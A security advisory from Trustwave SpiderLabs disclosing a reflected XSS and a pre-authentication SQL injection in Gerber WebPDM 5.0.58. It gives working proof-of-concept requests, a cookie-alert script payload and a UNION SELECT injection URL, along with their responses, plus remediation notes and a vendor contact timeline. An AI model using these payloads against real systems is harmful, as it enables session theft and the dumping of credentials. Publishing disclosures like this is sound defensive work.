Trustwave SpiderLabs Security Advisory TWSL2014-014:
Multiple Vulnerabilities in Gerber WebPDM Product Data Management System

Published: 10/24/2014 
Version: 1.0

Vendor: Gerber Technology (http://www.gerbertechnology.com/)
Product: webPDM Product Data Management
Version affected: 5.0.58

Product description:
A product management solution with a web interface front-end.

Finding 1: Reflected Cross-Site Scripting
Credit: Nate Drier of Trustwave SpiderLabs
CVE:CVE-2014-6281
CWE: CWE-79

The 'txtUserName' parameter on the main login form (/Dialogs/Login/LoginStart.asp) is vulnerable to XSS.

#Request:
POST /Dialogs/Login/Login.asp HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://a.b.c.d/Dialogs/Login/LoginStart.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 160

txtUserName=")</script><script>alert(document.cookie)</script>&txtPassword=&hdnLoginHash=&cmdLogin=Login


#Response:
   <SCRIPT language="JavaScript">
   
	  strAccountID = encoder("")</script><script>alert(document.cookie)</script>");


Finding 2: SQL Injection   
Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2014-6282
CWE: CWE-89

The ACCOUNT parameter on the VerifyLogin.asp page is vulnerable to SQL
Injection. This SQL Injection is available for attack pre-authentication.
The following POC url will run the SELECT @@VERSION query and return the
results as a CAST error:

#Request:
https://a.b.c.d/Dialogs/Login/VerifyLogin.asp?LOCALOFFSET=-240&ACCOUNT=-9999%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2BISNULL%28CAST%28%40%40VERSION%20AS%20NVARCHAR%281000%29%29%2CNULL%29%2CNULL%2CNULL%2CNULL--%20&ACCOUNTID=a&GOTOURL=

#Response:
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int. Last Query: SELECT Email, Address, City, State, PostalCode, Country, Location, Title, WorkPhone, WorkExtension, HomePhone, FaxNumber, Notes , Password, AdministratorFlags, Licenses, IsActive, Name, LicenseType, IsOnline FROM Users WHERE UserName = 'A' AND Password = '-9999' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,+ISNULL(CAST(@@VERSION AS NVARCHAR(1000)),NULL),NULL,NULL,NULL-- '

While the default user does not have dba permissions, its possible to dump
all usernames and passwords (md5) for the WebPDM application itself.

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for these findings. However, administers can mitigate
these vulnerabilities by applying Web Application Firewall (WAF) rules.
ModSecurity (http://www.modsecurity.org/) has added rules to the commercial
rules feed for these vulnerabilities.

Communication History:
04/16/2014 - Initial notification email to vendor
04/22/2014 - Attempt to follow-up with vendor
06/05/2014 - Attempt to follow-up with vendor
06/23/2014 - Support call with Gerber Technology
07/21/2014 - Attempt to follow-up with vendor
08/26/2014 - Attempt to follow-up with vendor
10/22/2014 - Last attempt to follow-up with vendor
10/24/2014 - Advisory published

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